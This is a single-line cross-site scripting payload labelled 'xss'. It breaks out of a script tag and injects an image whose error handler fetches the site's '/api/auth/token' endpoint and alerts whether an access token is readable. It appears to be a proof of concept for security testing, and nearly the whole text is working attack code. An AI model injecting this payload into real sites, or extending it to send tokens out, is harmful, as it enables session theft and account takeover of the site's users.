aaaaa</script><img src=x onerror="fetch('/api/auth/token').then(r=>r.json()).then(j=>alert(!!j.data.accessToken))">

xss